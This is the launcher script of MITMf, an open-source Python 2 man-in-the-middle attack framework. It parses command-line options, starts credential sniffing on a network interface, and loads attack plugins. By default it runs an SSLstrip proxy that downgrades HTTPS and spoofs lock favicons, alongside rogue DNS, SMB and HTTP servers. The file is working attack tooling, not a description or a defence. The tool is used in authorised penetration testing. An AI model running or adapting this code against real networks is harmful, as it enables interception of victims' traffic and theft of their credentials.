#!/usr/bin/env python2.7

# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message

import argparse
import sys
import os
import threading
import core.responder.settings as settings

from argparse import RawTextHelpFormatter
from twisted.web import http
from twisted.internet import reactor
from core.logger import logger
from core.banners import get_banner
from plugins import *

print get_banner()

mitmf_version = '0.9.8'
mitmf_codename = 'The Dark Side'

if os.geteuid() != 0:
    sys.exit("[-] The derp is strong with this one\nTIP: you may run MITMf as root.")

parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), 
                                 version="{} - '{}'".format(mitmf_version, mitmf_codename), 
                                 usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', 
                                 epilog="Use wisely, young Padawan.",
                                 formatter_class=RawTextHelpFormatter)

#add MITMf options
sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit')
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic', nargs='+')

#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

options = parser.parse_args()

#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]

from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)

from core.netcreds import NetCreds

if options.read_pcap:
    NetCreds().parse_pcap(options.read_pcap)

#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip  = get_ip(options.interface)
options.mac = get_mac(options.interface)

settings.Config.populate(options)

log.debug("MITMf started: {}".format(sys.argv))

#Start Net-Creds
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)

NetCreds().start(options.interface, options.ip)
print "|"
print "|_ Net-Creds v{} online".format(NetCreds.version)

from core.proxyplugins import ProxyPlugins

ProxyPlugins().all_plugins = plugins
for plugin in plugins:

    #load only the plugins that have been called at the command line
    if vars(options)[plugin.optname] is True:

        ProxyPlugins().add_plugin(plugin)

        print "|_ {} v{}".format(plugin.name, plugin.version)
        if plugin.tree_info:
            for line in xrange(0, len(plugin.tree_info)):
                print "|  |_ {}".format(plugin.tree_info.pop())

        plugin.setup_logger()
        plugin.initialize(options)

        if plugin.tree_info:
            for line in xrange(0, len(plugin.tree_info)):
                print "|  |_ {}".format(plugin.tree_info.pop())

        plugin.start_config_watch()

if options.filter:
    from core.packetfilter import PacketFilter
    pfilter = PacketFilter(options.filter)
    print "|_ PacketFilter online"
    for filter in options.filter:
        print "   |_ Applying filter {} to incoming packets".format(filter)
    try:
        pfilter.start()
    except KeyboardInterrupt:
        pfilter.stop()
        shutdown()

else:
    from core.sslstrip.CookieCleaner import CookieCleaner
    from core.sslstrip.StrippingProxy import StrippingProxy
    from core.sslstrip.URLMonitor import URLMonitor

    URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
    URLMonitor.getInstance().setCaching(options.preserve_cache)
    CookieCleaner.getInstance().setEnabled(options.killsessions)

    strippingFactory          = http.HTTPFactory(timeout=10)
    strippingFactory.protocol = StrippingProxy

    reactor.listenTCP(options.listen_port, strippingFactory)

    for plugin in plugins:
        if vars(options)[plugin.optname] is True:
            plugin.reactor(strippingFactory)

    print "|_ Sergio-Proxy v0.2.1 online"
    print "|_ SSLstrip v0.9 by Moxie Marlinspike online"

    #Start mitmf-api
    from core.mitmfapi import mitmfapi
    print "|"
    print "|_ MITMf-API online"
    mitmfapi().start()

    #Start the HTTP Server
    from core.servers.HTTP import HTTP
    HTTP().start()
    print "|_ HTTP server online"

    #Start DNSChef
    from core.servers.DNS import DNSChef
    DNSChef().start()
    print "|_ DNSChef v{} online".format(DNSChef.version)

    #Start the SMB server
    from core.servers.SMB import SMB
    SMB().start()
    print "|_ SMB server online\n"

    #start the reactor
    reactor.run()
    print "\n"

    shutdown()